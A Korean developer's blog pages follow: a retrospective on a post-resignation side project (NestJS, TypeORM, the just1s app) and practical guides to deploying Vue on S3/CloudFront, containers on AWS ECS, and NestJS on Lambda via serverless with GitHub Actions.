전 회사에서 퇴사한지 3개월 하고도 1주일이 지났다. 퇴사 후 가장 기대했던 건 내가 원하는 개발에 모든 시간을 쏟을 수 있다는 것이었다.
나는 회사를 다니면서도 기존의 PHP 개발에서 다른 언어로 바꾸고 싶은 욕망이 있었으며, 더 나은 커리어 설계를 위해 퇴사를 하게 되어 비슷한 시기에 퇴사한 직원과 함께 새로운 프로젝트를 시작했다.
사내에서 주력 언어가 node.js는 아니었지만 그 전부터 [socket.io](http://socket.io/) 기반 채팅 서버, 크롤러 등 모듈화된 서비스는 node.js로 작업하였고, 플랫폼 전환 시점 이후 추가되는 기능도 역시 node.js 기반 서비스 단위로 모듈화 하여 작업했다.
그래서 어느정도 기본 경험은 있는 상태라 판단하고 바로 프로젝트 작업에 착수했다.

### nBase

처음 목표는 간단했다. 정확히 무엇을 만들지 정하지는 않았지만, 그동안 작업했던 베이스 코드 및 프레임워크와, 머릿속에 있는 개발하면서 겪은 이슈들을 토대로 새로운 웹 프레임워크에 마이그레이션하는 것이 목표였다.
당시 외주가 들어올 수도 있는 상황이어서 들어왔을 시 작업할 수 있도록 갖춰놓는 목표도 있었다. 정 안들어오면 그냥 토이 프로젝트라도 진행하고,
이름 자체도 node base 또는 new base. 별 뜻은 없다. 이름 짓는데에 고민하기 싫었다.

### 타임라인

> 아래부터 서술하는 기록은 개인 bear 에디터에 메모한 것들, 커밋 로그 등에서 히스토리를 추려내어 작성했다. 다소 틀린 점이 있을 수도 있다.
> 

### 2월 말 - 기술 스택 정하기

우선 기술 스택부터 정해야 했다. 프론트엔드는 잠시 보류하고 백엔드부터 작업했다. 퇴사 전 사내에서 계획했던 기술 스택은 백엔드는 크게 node.js, typescript, 프레임워크는 NestJS, TypeORM, GraphQL, 프론트엔드는 기존의 angularJS에서 Angular로 전환하는 것이 목표였다.
이 스택을 가져올까 생각했다가 우리에게 맞는 스택을 하나하나 재 리서치했다.
그 결과는 NestJS 대신 express, typeORM 대신 sequelize, graphQL 미사용이었다.
첫번째로 NestJS는 기능은 많으나 이것들을 모두 이용하기엔 런닝커브와 규모가 크다 생각하여 raw한 express로 점진적으로 개발하다가, 필요 시 nestJS로 전환하는 쪽으로 방향을 정했다.
두번째로 sequelize를 사용한 이유는, npm 규모와 역사를 비교해 봤을때 sequelize가 더 커서 이슈 검색 시 개발자 풀 규모 등에서 안정적이라 생각하여 택했다.
마지막으로 GraphQL은 물론 좋은 통신 방법이긴하지만 전에 맛보기로 공부해봤을 때, resolver 구현에 공수가 많이 들어가고, 서버와 클라이언트 전부 맞춰 구현해야 하기 때문에 실제로 프로덕션에 도입한 케이스가 많지 않아 조금 더 지켜보고 도입하기로 결정하였다.

### 3월 1주

기술 스택은 정했고, 기존에 작업했던 프레임워크를 기준으로 기능들을 하나하나 붙이기 시작했다.
api 서버를 만들 계획이므로 뷰(V)는 따로 다루지 않았다.
기본적인 CRUD 기능 작업, 더 나아가 다양한 relation 케이스도 리서치했으며, model단에서 데이터를 가져올때 조건에 따라 where절을 직접 만드는 대신 sequelize의 scope를 적극 적용하는 리팩토링 과정이 있었다.
그 후엔 미들웨어 - guard, pipe, error handling, log(winston), 필수 기능 - 유저 관리(JWT, Passport) 등을 아주 간단히 적용해보았다.
일정을 보면 알겠지만 각 라이브러리의 기능을 깊게 숙지했다고는 말할 수 없다. 하지만 기본 기능으로 작동하게끔 연결하고 추후 개선해 나가는 전략을 취했다.

### 3월 2주

어느 정도 틀이 잡혔으니, 원래 목표에 있었던 typescript로 전환하는 작업을 했다.
각종 빌드 이슈들을 잡으며 (package.json, tsconfig.json tsconfig-path 등) 코드에 기본적인 틀은 녹여내었다.
또한 관리할 서비스가 늘어나면서 dependancy를 어떻게 관리할지에 대한 고민 생겼고 고민끝에 InversifyJS 대신 심플한 typedi를 선택했다.
이번주 미팅에 많은 사항이 결정되었는데. 백엔드뿐만 아니라 프론트엔드, 이 둘을 배포할 인프라 프로세스 정책 등을 픽스했다.
프론트엔드 - react vs vue? -> 러닝커브 이슈로 우선 vuejs로 진입
인프라 - 어떤 클라우드를 쓸지 고민했는데, 같이 하는 팀원이 GCP를 추천해서 우선 GCP로 전행, 도메인은 일단 바로 구매하는 대신 내가 가지고 있는 kimjbstar.com을 사용하고 추후 바꾸기로 결정했다.
프론트엔드는 같이 하는 팀원이 집중적으로 리서치하고, 나는 GCP, docker, CI/CD를 위한 github action을 리서치하기로 했다.

### 3월 3주

실무에서 쓰진 않았지만 개인적으로 django, rails를 잠깐 공부한 적이 있다. 거기에서 매력적이었던 기능이 migration인데, migration은 일종의 databse schema 형상 관리라고 생각하는데, schema 변경 시 그 "변경 기록"을 쌓아 관리하는 방식이다.
그 중 django의 makemigration은 마지막 "변경 기록"과 현재 model(entity) class들의 변화를 감지하여 새 변경 기록을 generate해 주는 기능이다.
이 기능을 지원하는 라이브러리가 하나도 없었다! sequelize(js) 기반 generator는 있었는데 이 마저도 대응 sequelize 버전이 낮았고, 나는 sequelize에 decorator 패턴 및 typescript와 integrate된 버전을 사용하고 있었고(sequelize-typescript) 여기 위에선 작동하지 않았다.
그래서 저 라이브러리의 코드 및 기능을 따와 typescript 기반 위에서도 돌아가도록 하는 개인 라이브러리를 만들게 되었다. 추후 자세히 설명하겠다.

이것과 별개로 이번주 미팅에서는 클라우드 서비스 관련 얘기를 다시 했는데 GCP를 사용하는게 크게 메리트가 없다고 판단하여 AWS를 전환하기로 결정했다.
그에 따라 기존에 리서치하느라 구성했던 gcp 프로젝트 삭제, gcloud 배포 github action 등을 aws 기반으로 전환해야 했다.
또한 ECR, ECS를 도입하여 container 기반 배포를 본격 도입하기로 결정했고,
비록 백엔드만이지만 container orchestraion(일종의 managing)이 되는 pool 구성 및 배포 프로세스를 나름 정립했다.

### 3월 4주

다음 태스크로는 API 문서 페이지를 생성해주는 swagger 도입이 있어 리서치해본 결과,
swagger가 동작하는 방식 자체가 코드 내에 있는 decorator를 긁어 문서를 생성해주는 방식으로 보인다.
꼭 이것때문이 아니더라도 decorator 패턴을 도입하고 싶었고, 전에 고민했던 dependancy 이슈도 보면 이 모든 것을 nestJS에서 기본적으로 해결해주고 있다.
그래서 기존 코드를 전부 들어내고 nestJS 및 decorator 패턴 도입을 완료하였다.

### 3월 5주 - 4월 1주

내 프로젝트에 임시로 만들어 놓았던 sequelize-typscript-migration 모듈을 개별 프로젝트로 분리하는 작업을 했다.
그에 맞춰서 별게로 실행되게끔 빌드 셋팅, 개별 실행 스크립트 추가 및 리팩토링 작업을 하였다.
그 후 npm 및 github에 public하게 배포하여 기존 nbase 프로젝트와 완전 분리에 성공했다.

[sequelize-typescript-migration 라이브러리 npm 배포](https://www.notion.so/sequelize-typescript-migration-npm-e31d46f1d03d43168cd38cbf2fda384c)

### 4월 2주

이번주는 scaffold 구현 위주로 작업했다.
모델 추가 시 기존 모듈을 복사해서 만드는 과정에서, 모델 schema를 json으로 정의하고, 그에 따라 컨트롤러, 모델 등 CRUD 코드를 generate해주는 기능이다.

### 4월 3주 - 4주

기본적인 jest 리서치 후 단위 테스트 기능을 추가했다.
추가적으로 전 회사에서 하던 픽스쳐 관리 방식도 벤치마킹했는데

차이점이 있다면 ORM을 통한 relation 분석 자동화를 통해 더 고도화 시켰다.
픽스쳐를 관리하긴 하되 dumpdata를 통해 최신 스키마로부터 항상 새로 가져올 수 있는 기능을 추가했다.
성능 이슈로 mocha로 전환

[단위테스트 도입 - TDD, 단위 테스트, fixture ](https://www.notion.so/TDD-fixture-8e7b4be74b514c33933adf827020aa15)

### 4월 5주

테스트를 하기 위해선 데이터를 다뤄야 하는데 조금 더 재미있고 의미있는 데이터로 하고 싶어서 토이 프로젝트 주제를 고민하기 시작했다.
"1초만에 노래 듣고 맞추기" 토이 프로젝트 기획 및 스키마 구성
개발에 착수하면서 실제로 migration을 해보니 sequelize-typescript-migration 의 여러 한계가 발견되었다. constraint 대응도 안되있고...
그런데 TypeORM을 다시 리서치해보니 잘 돌아가는 migration 기능이 있었다. 그래서 모든 코드를 갈아없고 TypeORM으로 전환 작업에 들어갔다.

### 5월 ~

just1s 프로젝트 본격 시작, 주1회 미팅이 아닌 매일 출근식으로 결정, 갈산역 에서 매일 모임, 트렐로에 작업 사항 기록
프론트엔드도 본 작업 시작

퇴사하고 뭐했니?

퇴사 3개월 후, 회고

## aws s3

vuejs 같은 경우는 static page로써 lambda에 배포하기에는 부적절합니다.

리서치해본 결과 aws s3에 많이 배포한다고 합니다. Vuejs 공식 문서에도 언급되어 있습니다.

[Deployment | Vue CLI](https://cli.vuejs.org/guide/deployment.html#amazon-s3)

또한 AWS 공식 문서에도 s3 버킷을 이용하여 static website를 관리하는 방법이 잘 나와있습니다.

[Amazon S3 버킷에서 호스팅하는 웹 사이트로 트래픽 라우팅](https://docs.aws.amazon.com/ko_kr/Route53/latest/DeveloperGuide/RoutingToS3Bucket.html)

체크할 점으로는 버킷명이 도메인명과 동일해야 한다는 점입니다.

그 후 업로드 자체는 정말 쉽습니다. 빌드 후 aws s3 sync만 하면 되기 때문입니다.

```yaml
# github action yml 일부 ...
  - name: Configure AWS credentials
    uses: aws-actions/configure-aws-credentials@v1
    with:
      aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
      aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
      aws-region: ap-northeast-2

  - name: sync to s3
    run: aws s3 sync ./dist s3://버킷명 --delete
...
```

## cloudfront

업로드가 성공했으니 이제 route53 도메인 연결, TLS 인증서 적용만 해주면 됩니다.

리서치해보면 인증서 적용을 위해서는 s3와 route53 사이에 cloudfront를 두어야 한다고 합니다.

[CloudFront를 사용하여 Amazon S3에서 호스팅되는 정적 웹 사이트 제공](https://aws.amazon.com/ko/premiumsupport/knowledge-center/cloudfront-serve-static-website/)

문서를 따라해보면 여기까지도 어렵지 않습니다. 다만 실제 배포를 해보면 코드가 바로 반영되지 않는데, 그 이유는 cloudfront 단에서 기본적으로 캐싱을 하기 때문입니다.

해결 방법으로는

1. 옵션에서 TTL을 일괄 0으로 설정
2. 배포 직후 invalidation이라는 일종의 캐시 무효화 작업을 생성
3. s3 객체(파일)에 메타데이터를 추가하여 캐싱이 되지 않도록 하는 방법

이 있는데 저 invalidation 작업이 생각보다 시간이 오래 소요되어 피하고 싶고, 일부 파일은 캐싱을 시키고 싶었기 때문에 3번 방법을 택했습니다.

즉 s3에 파일 업로드 시 캐싱을 원하지 않는 파일에만 metadata를 추가해 배포하면 이슈가 해결됩니다.

```bash
aws s3 sync ./dist s3://dev.just1s.xyz --exclude "*.js*" --delete
aws s3 sync ./dist s3://dev.just1s.xyz --exclude "*" --include "*.js*" --metadata-directive COPY --cache-control max-age=0,no-cache,no-store,must-revalidate --delete
```

위와 같이 하면 static asset 등 js가 아닌 파일은 그대로 배포, js 파일 들은 cache-control metadata 가 추가된 채로 배포가 됩니다.

## 결론

최종 development branch 배포 github action yaml은 다음과 같습니다.

```yaml
name: Deploy to Development
on:
  push:
    branches:
      - development

jobs:
  build_vue:
    name: Build Vue
    runs-on: ubuntu-latest
    env:
      NODE_ENV: "development"
    steps:
      - name: checkout
        uses: actions/checkout@master
      - name: setup node
        uses: actions/setup-node@v1
        with:
          node-version: "12"

      - name: Cache node modules
        uses: actions/cache@v2
        with:
          path: |
            **/node_modules
          key: ${{ runner.OS }}-build-${{ hashFiles('**/package-lock.json') }}

      - name: npm install
        run: npm install

      - name: Build
        run: npm run build:development

      - name: Configure AWS credentials
        uses: aws-actions/configure-aws-credentials@v1
        with:
          aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
          aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
          aws-region: ap-northeast-2

      - name: sync to s3 exclude js
        run: aws s3 sync ./dist s3://dev.just1s.xyz --exclude "*.js*" --delete

      - name: sync to s3 js with disabled cache
        run: aws s3 sync ./dist s3://dev.just1s.xyz --exclude "*" --include "*.js*" --metadata-directive COPY --cache-control max-age=0,no-cache,no-store,must-revalidate --delete
```

Vuejs 기반 static page AWS CloudFront + S3로 배포

## 서론

우선 프로젝트 시작할 때부터 인프라에 `Docker`를 꼭 써보고 싶었습니다. 따라서 비즈니스 로직이나 외부 요인이 아닌 [Hype Driven Development](https://lazygyu.net/blog/hype_driven_development) 기반으로 도입했습니다. 좋은지 안좋은지는 직접 적용해봐야 직성이 풀릴 것으로 판단해서 였습니다.

컨테이너 종류는 Vue.js 기반 프론트 페이지, API 서버 두 종류로 구성되어 있으며 DB는 제외하기로 했습니다.

로컬 환경에서는 docker-compose를 활용해 모든 컨테이너를 빌드 및 실행할 수 있도록 구성 후, 배포는 그 이후에 생각하기로 했습니다.

```yaml
# Dockerfile in backend
FROM node:lts-alpine
WORKDIR /usr/src/app
COPY . .
RUN npm install && npm run build

CMD ["npm", "run", "start:prod"]
EXPOSE 3000
```

```yaml
# Dockerfile in frontend
FROM node:lts-alpine as build-stage

WORKDIR /app

COPY package*.json ./
RUN npm install

COPY . .

RUN npm run build

FROM nginx:stable-alpine
COPY ./default.conf /etc/nginx/conf.d/default.conf
COPY --from=build-stage /app/dist /usr/share/nginx/html

EXPOSE 8080

CMD ["nginx", "-g", "daemon off;"]
```

Vue.js 컨테이너 같은 경우는 백엔드와 다르게 결과물이 static한 web page이기 때문에 multi-stage build를 활용했습니다. 먼저 빌드 후 그 결과물을 nginx를 통해 serve하는 방식이다. 마지막 stage에 있는 내용들만 빌드 결과물에 포함되고 이전 stage에서 복사되지 않는 것들은 버리기 때문에 컨테이너 경량화를 할 수 있습니다.

### Container를 어떻게 배포할 것인가

docker-compose로 로컬에서 한번에 실행시키는 것 정도까지는 해보았습니다. 하지만 단순히 이것 가지고는 부족했습니다. 한번 build된 image를 기반으로 container를 매우 flexible하게 실행, 제거 및 적재적소에 배치할 수 있어야 의미가 있습니다. 이런 것을 관리해주는 것을 Container Orchestration 이라 하는데 가장 유명한 라이브러리는 google에서 제공하는 kubernetes가 있습니다.

### AWS ECS - Elastic Container Service

**ECS vs EKS** - kubernetes는 google에서만 제공하는 줄 알았는데 AWS에서도 제공하고 있었습니다. 그래도 AWS를 이용하는데 ECS를 이용하면 연동할때 마찰이 적지 않을까 하여 ECS로 진행하기로 했습니다. 큰 이유가 있는 것은 아니었습니다.

[ECS Service | EC2 | Amazon Web Services](https://aws.amazon.com/ko/ecs/)

**Cluster** - 컨테이너가 배포될 기본적인 단위. 정도로 우선 이해하고 넘어갔습니다.

**Task Definition** - 컨테이너를 어떻게 실행시킬 것인가에 대한 명세를 json으로 관리합니다. 컨테이너를 어느 저장소에서 받아올 것인가에서부터, 포트 맵핑, 시작 커맨드, 주입할 환경 변수, 호스트 내에 cpu 나 ram등 자원은 얼마나 할당할 것인가 등 다양한 옵션들이 있습니다.

**Service** - Task definition은 명세고, 실제 실행은 이 service로 한다.scale-out, 목표 task의 수, healthy한 task 수의 허용 최소, 최대 비율, 배포 전략, 로드 밸런싱 등을 관리합니다. 원하는 task 수(desired count)를 지정하면 가능한 상황 내에서 지정된 배포 전략을 통해 배포합니다. 자원이 한정되어 있다면 동작이 보장되지 않습니다.

**Container Repository**

[Amazon ECR | Amazon Web Services](https://aws.amazon.com/ko/ecr/)

[Docker Hub](https://hub.docker.com/)

처음에는 AWS에서 제공하는 Amazon Elastic Container Registry(ECR)를 저장소로 사용할까 하다가 dockerhub에 public으로 배포하면 무료인 것을 알게되어 Dockerhub를 사용했습니다.

### 배포

**aws-cli를 통한 배포**

```bash
# EC2 생성 시 user-data를 통해 주입하여 해당 cluster의 container들이 배포될 EC2라는 것을 지정
echo ECS_CLUSTER=ecs-cluster-01 >> /etc/ecs/ecs.config
```

```bash
# Task Definition 등록, 업데이트 개념이 없고 새 revision을 추가하는 방식
aws ecs register-task-definition --cli-input-json <json file>
```

```bash
# Service 정의
{
  "cluster": "ecs-cluster-01",
  "service": "ecs-service-web",
  "deploymentConfiguration": {
    "maximumPercent": 100,
    "minimumHealthyPercent": 0
  },
  "desiredCount": 1
}

# Service 등록
aws ecs create-service --cluster=ecs-cluster-01 \
--cli-input-json <json file>

# Service 업데이트
aws ecs update-service \
--cluster=ecs-cluster-01 \
--service=ecs-service-web \
--cli-input-json <json file>
```

**github action을 통한 배포 자동화**

```yaml
name: Deploy
on: [push]
jobs:
  build_docker:
    name: Build Docker Image
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@master
      - name: Publish to Registry
        uses: elgohr/Publish-Docker-Github-Action@master
        with:
          name: kimjbstar/just1s-backend
          username: ${{ secrets.DOCKER_USERNAME }}
          password: ${{ secrets.DOCKER_PASSWORD }}
          dockerfile: Dockerfile
  update-service:
    name: Update AWS ESC Service
    needs: build_docker
    runs-on: ubuntu-latest

    steps:
      - name: Configure AWS credentials
        uses: aws-actions/configure-aws-credentials@v1
        with:
          aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
          aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
          aws-region: ap-northeast-2
      - name: force update ecs
        run: aws ecs update-service --cluster=ecs-cluster-01 --service=service-back-1 --force-new-deployment
```

### 외부 접근

배포는 성공했고, 이제 [www.just1s.xyz](http://www.just1s.xyz) 도메인을 통해 완벽히 실행되는 것을 다음 목표로 잡았습니다.

### 결론

**배포 프로세스**

1. git을 통해 github으로 코드 push
2. github action에서 빌드 및 docker push를 통해 dockerhub 저장소에 배포
3. aws ecs update
4. aws ecs는 dockerhub에서 지정된 container의 latest 버전을 fetch하여 반영

**노출 원리**

- Application Load Balancer를 서비스에 연결, 이 internal 로드밸런서에는 고정 아이피를 연결할 수 없다.
- Network Load Balancer를 생성한다. 이 로드밸런스에는 Elastic IP 고정 아이피, Route 53을 통한 도메인을 연결할 수 있다.
- 두 로드밸런서를 연결해주는 스케줄형 lambda function을 둔다.
    - populate_NLB_TG_with_ALB
    - ALB에서 사용하는 IP 주소 들을 DNS 쿼리로 주기적으로 받아 NLB target group에 popluate(적용)
    - ALB의 IP주소는 S3 Bucket에 저장한다.

위 구조를 도식화하면 다음과 같습니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/just1s01.png)

### 결론, 한계점

전반적으로 한번에 많은 것을 배우다보니 깊게 배우지 못하고 넘어간 것들도 많은 것 같습니다. 인프라 관련 된 부분은 사실 실제 운영하면서 이슈가 더 많이 나기 때문에 이쪽에 경험이 많은 사람이 있었으면 더 좋았을텐데 독학으로 하다보니 한계점이 보였습니다.

사실 가장 원하던 그림은 동적 포트 할당을 이용해 클러스터 내 EC2에선 자유롭게 Container를 배포하는 것이었는데 이 케이스 같은 경우는 두 종류의 다른 컨테이너가 "포트"를 통해 구분되기 때문에 동적 포트를 사용하지 못했습니다. 결국 EC2를 작은 사이즈로 잡고 한번에 두 종류의 컨테이너만 들어가게끔 구성, EC2의 갯수는 max(백엔드, 프론트엔드)로 했습니다. 사실 아예 클러스터를 분리했으면 가능했을 수도 있습니다.

또한 ECS가 자동으로 repository에서 fetch하는 게 아니라 force update를 통해야 한다는 점이 마음에 걸렸습니다. 컨테이너를 배포할 때 tag를 latest가 아닌 배포 때마다 증가하는 값으로 넣어줬으면 자동으로 서비스가 fetch할 것 같기도 한데 테스트 해보지는 못했습니다.

무엇보다 배포 소요 시간이 큽니다. ECS Service의 minmum healthy를 0%로 과감히 낮추고 load balancer target group의 deregistration delay로 0초로 셋하여 불필요한 딜레이는 감소시켰지만 그래도 여전히 느린 편이었습니다.

이 방식은 배포 전략을 통해 안정적 무중단 배포를 할 때는 유용한 것 같습니다. 하지만 개발 단계에서 빠르게 테스트할 때는 적절치 않은 것으로 판단됩니다. 어쨋든 Docker랑 Orchestration에 대해 조금이나마 공부해 볼 수 있는 계기였습니다.

또한 간단한 서비스인데 Load Balancer가 2개나 들어가는 것이 걸렸습니다. Load Balancer는 구축만 해 놓아도 고정비가 나갑니다.

### 참고 링크

두 아티클을 많이 참고했습니다.

https://www.44bits.io/ko/post/container-orchestration-101-with-docker-and-aws-elastic-container-service

https://aws.amazon.com/ko/blogs/korea/using-static-ip-addresses-for-application-load-balancers/

just1s AWS Elastic Container Service 기반 배포 아키텍쳐 정리

### AWS Lambda

위 아키텍쳐의 배포 속도 때문에 "이것도 람다에다 올려버릴까"라는 말만 반복하다 본격 작업에 들어가게 되었습니다. 

[serverless를 활용하여 간단한 크롤링 서비스 AWS Lambda에 배포](https://www.notion.so/serverless-AWS-Lambda-fdf6c3b6c071463c9ee7b5c5646778a2)

위와 같이 serverless를 활용한 경험이 있으므로 이번에도 기왕이면 serverless를 통해 배포하기로 결정했습니다.

기존 서버 시작은 `main.ts`에서 했는데, handler 시작점을 추가로 잡기 위해 기존 NestFactory 부분을 모듈화하고 serverless.ts 파일을 추가했습니다. 일반 tsc 빌드 후에는 `main.js`로, serverless에서는 serverless 내의 handler 를 통해 서버를 실행하게 됩니다.

```typescript
// main.ts
async function bootstrap() {
  const expressApp = express();
  const app = await createApp(expressApp);
  await app.listen(3000);
}
bootstrap();
```

```typescript
// serverless.ts
let cachedServer: Server;

async function bootstrap(): Promise<Server> {
  const expressApp = express();
  const app = await createApp(expressApp);
  await app.init();
  return awsServerlessExpress.createServer(expressApp);
}

export const handler: APIGatewayProxyHandler = async (event, context) => {
  if (!cachedServer) { 
    const server = await bootstrap();
    cachedServer = server;
    return awsServerlessExpress.proxy(server, event, context, "PROMISE")
      .promise;
  } else {
    return awsServerlessExpress.proxy(cachedServer, event, context, "PROMISE")
      .promise;
  }
};
```

### 문제는 tsconfig-paths

환경 셋업 후 `local invoke`를 해보면 실패합니다. 왜냐하면 `@src` 등 custom path를 인식 못하기 때문입니다.

기존 같은 경우는 `ts-node -r tsconfig-paths/register src/main.ts` 등 ts 컴파일 시 직접 등록할 수 있는 방식이었는데, 사용하고 있는 `serverless-plugin-typescript`로는 한계가 있었습니다.

### 백엔드에도 webpack을 적용

리서치 해보니 이 이슈는 webpack 적용으로 해결할 수 있다고 합니다. 그러하기 위해선 기존의 `serverless-plugin-typescript` 대신 `serverless-webpack`으로 빌드 방식을 교체 후 webpack 설정 내에 `ts-loader`로 typescript를 빌드하는 방식으로 대폭 수정이 필요합니다. 그 후 alias 옵션을 맞춰서 추가해주면 됩니다.

```jsx
// webpack.config.js
module.exports = {
...
  resolve: {
    extensions: [".tsx", ".ts", ".js"],
    alias: {
      "@src": path.resolve(__dirname, "src/")
    }
  }
}
```

### 추가 이슈 1 : TypeORM - require.context()

typeorm은 entity, migraiton 등을 glob 패턴 혹은 클래스 나열 방식으로 받아들이는데 당연히 glob 패턴으로 써왔다. 그러나 이 방식은 webpack으로 번들링하는 순간 무용지물이 됩니다.

우선 TypeORM에 webpack 관련 FAQ가 있었으나 이 케이스에서는 적용에 실패했습니다.

[typeorm/typeorm](https://github.com/typeorm/typeorm/blob/master/docs/faq.md#how-to-use-webpack-for-the-backend)

또는 클래스, 마이그레이션을 전부 import하여 array에 나열하거나, 이 파일들은 번들링에서 제외시키는 방법이 있지만 둘 다 마음에 들지 않았습니다.

리서치 결과 require.context()라는 webpack에 있는 동적 모듈 로드로 적용했습니다. 그 때문에 build는 이제부터 반드시 webpack으로 해야만 합니다.

```tsx
// 동적 로드
const entityContexts = (require as any).context(
  "./entities",
  true,
  /\.entity.ts$/
);
const entities = entityContexts
  .keys()
  .map((modulePath) => entityContexts(modulePath))
  .reduce(
    (result, entityModule) =>
      result.concat(Object.keys(entityModule).map((key) => entityModule[key])),
    []
  );

// 수동 나열
import { User } from "./entities/user.entity";
import { Deck } from "./entities/deck.entity";
import { Post } from "./entities/post.entity";
const entities = [User, Deck, Post];
```

### node_modules 인식 불가

local invoke, sls offline 등에서는 작동하더라도, 실제로 sls deploy로 배포해보니 동작하지 않습니다. 이는 packaging 과정에서 node_modules에 해당하는 모듈들이 zip에 패키징 되지 않았기 때문이며, #1 방식처럼 옵션을 추가하면 zip 파일 내에 node_modules가 첨부됨을 알 수 있습니다.

그러나 정작 실행해보니 뜬금없이 TypeORM에서 mysql을 못찾는다는 에러가 떴습니다. 이는 TypeORM 내 에서 mysql을 동적으로 require하기 때문에 `serverless-webpack`단에서의 스캐닝 과정에서 생략된 것이 원인입니다. 이러한 module 등은 직접 include해야 합니다.

```yaml
# 1
#custom:
#  webpack:
#    includeModules: true

# 2
custom:
  webpack:
    includeModules:
      forceInclude:
        - mysql <- typeorm에서 내부적으로 mysql이 조건부 require ( dynamic) 하게 된듯, 직접 해줘야함
```

### layer를 통한 최적화

이리하여 우선 배포는 성공했으나 파일 사이즈가 너무 큽니다. 이는 배포 속도의 저하를 가져옵니다. 리서치 해본 결과 AWS Lambda에는 layers라는 기능을 제공한다고 합니다. 작년 초에 소개된 기능으로 비교적 최근입니다. serverless 단에서 layers 기능을 제공하긴 하지만 부차적인 처리( package.json 체크, production 빌드 ) 등을 해주는 serverless-layers를 쓰면 더 좋습니다.

serverless-layers는 원하는 path를 잡아 ( package.json ) 변동이 있을 시에만 layer를 업데이트합니 다.

[agutoli/serverless-layers](https://github.com/agutoli/serverless-layers)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/nestjs-serverless-01.png)

이렇게 node_modules를 layer로 분리하여 배포 소요 시간 20~30초, 용량은 약 100kb로 정리했습니다.

### Serverless ≠ MSA

처음에는 MSA도 생각은 해보았지만 이 인력으로 한다는게 불가능하고, 위와 같이 Lambda를 활용하면서도 모놀리식 서버리스 구조도 많은 것으로 보아 이렇게 진행하기로 했습니다. 전통적인 구조에서 EC2, ELB만 Lambda로 대체된 구조입니다.

[AWS SAM을 이용한 모놀리식 서버리스 어플리케이션 운영하기](https://www.slideshare.net/changhoonhyun/aws-sam)

### github action을 통한 배포 자동화

cli를 통한 배포가 성공했으니 github action에 넣어 배포 자동화를 할 차례입니다.

우선은 development branch에 push시에만 serverless로 배포하도록 구획을 잡았습니다.

### 삽질 : enterprise login ?

development branch에 푸시 후 github action 의 한 장면.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/nestjs-serverless-02.png)

에러메시지의 url을 따라가보면 이런 페이지가 나옵니다.

[Serverless Dashboard - CI/CD](https://www.serverless.com/framework/docs/dashboard/cicd/)

우선 Serverless Dashboard(enterprise)는 AWS, github을 연동하여 cli 및 gui 기반 배포, 배포 후 통계 등 좋은 기능들이 많습니다. 단순한 라이브러리 인줄 알았는데 하나의 플랫폼 급이었습니다.

그러나 단순히 workflow 단에서의 자동화만 하고 싶은데, 이런 식이면 enterprise 사용을 강제하는건가 하는 느낌까지 받았습니다. 옆에 billing이란 단어를 봤을때 특히 더.

관련 글을 찾아보면  yml에 org 필드 등을 지워야 enterprise로 인식 안된다는 글이 대부분인데 이 케이스는 해당되지 않았습니다. 어떻게 해도 같은 메시지였고, 오히려 org 필드를 추가하니 에러메시지가 달라졌습니다.(해결x) - 여기서 enterprise로의 인식 자체에 대한 문제임은 확신하게 되었습니다.

분명히 env에 키값을 넣으면 sls login을 하지 않아도 동작해야 되는데... 

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/nestjs-serverless-03.png)

로컬 브라우저에서 직접 로그인 과정까지 거쳐도 결과는 동일했습니다. 여기서 100% 로그인 이슈는 아닌 것 같다는 느낌이 들었고, 에러 스택을 계속 찾아 들어가보았습니다.

[serverless/enterprise-plugin](https://github.com/serverless/enterprise-plugin/blob/master/lib/variables.js#L20)

```jsx
// lib/variables.js:20 in serverless/enterprise-plugin
if (!ctx.sls.enterpriseEnabled) throwAuthError(ctx.sls);
```

serverless 실행 후 enterprise라 판단하여 enterprise-plugin으로 접근했는데, 여기서 enterprise가 활성화되어 있지 않아서 throwAuthError를 내버린 상황이었다. 그러니 처음에 로그인이 안되는 이슈로 생각했던 것이다.

**결론 - SERVERLESS_ACCESS_KEY 환경 변수를 제외** : 이 값은 enterprise에서 사용하는 값이고 그렇게 때문에 저 값이 있으면 enterprise로 인식되어 생긴 문제였습니다.

### 이슈 : lambda layer 서울 리전 미지원

걸리는 점이 있다면 lambda의 layers 기능은 ap-northeast-2(seoul) 에서는 지원하지 않아 우선 도쿄 리전에 배포했다는 점입니다. 이러면 분명 네크워크 상의 손해가 있을텐데, layer 기능이 서울 리전에서 제공하는 것을 기다리거나, layer만 도쿄에 배포하고 메인 함수는 서울 리전에 배포하는 등이 가능한지 추가적인 리서치가 필요합니다.

### 로컬 환경

처음에는 serverless-offline 라이브러리를 활용해 로컬 환경을 갖추려고 했습니다. serverless에서 local invoke라는 기능을 제공하기는 합니다. 그러나 1회성 실행이 아닌 웹서버를 테스트하기에는 적절하지 않았습니다. serverless-offline 같은 경우는 aws 기준 API Gateway와 Lambda를 시뮬레이션한 서버를 실행시켜 테스트하기 용이하게 되어있습니다.

로컬 환경에서는 무엇보다 수정한 코드를 바로 확인할 수 있는 환경이 중요한데, 문제는 serverless-offline의 watch 기능이 cli 상에서는 동작하는 듯 보이나 실제로 반영되지 않는 문제가 있었습니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/nestjs-serverless-04.png)

[Serverless-Webpack watching for changes not working · Issue #931 · dherault/serverless-offline](https://github.com/dherault/serverless-offline/issues/931)

찾아보니 useChildProcesses 옵션을 true로 주면 된다고 하는데 로컬 프론트와 연계하여 테스트를 해보니, 두 번 call되거나 재시작이 너무 느린 이슈 등 불안정했습니다.

그리하여 로컬 환경에서는 배포 환경과 달리 webpack을 직접 빌드 후 HotModuleReplacementPlugin을 사용하는 것으로 결론지었습니다.

```bash
#local
webpack --watch
#development
serverless deploy --stage development
#production
serverless deploy --stage production
```

NestJS 기반 웹 서버 serverless로 배포

# 서론

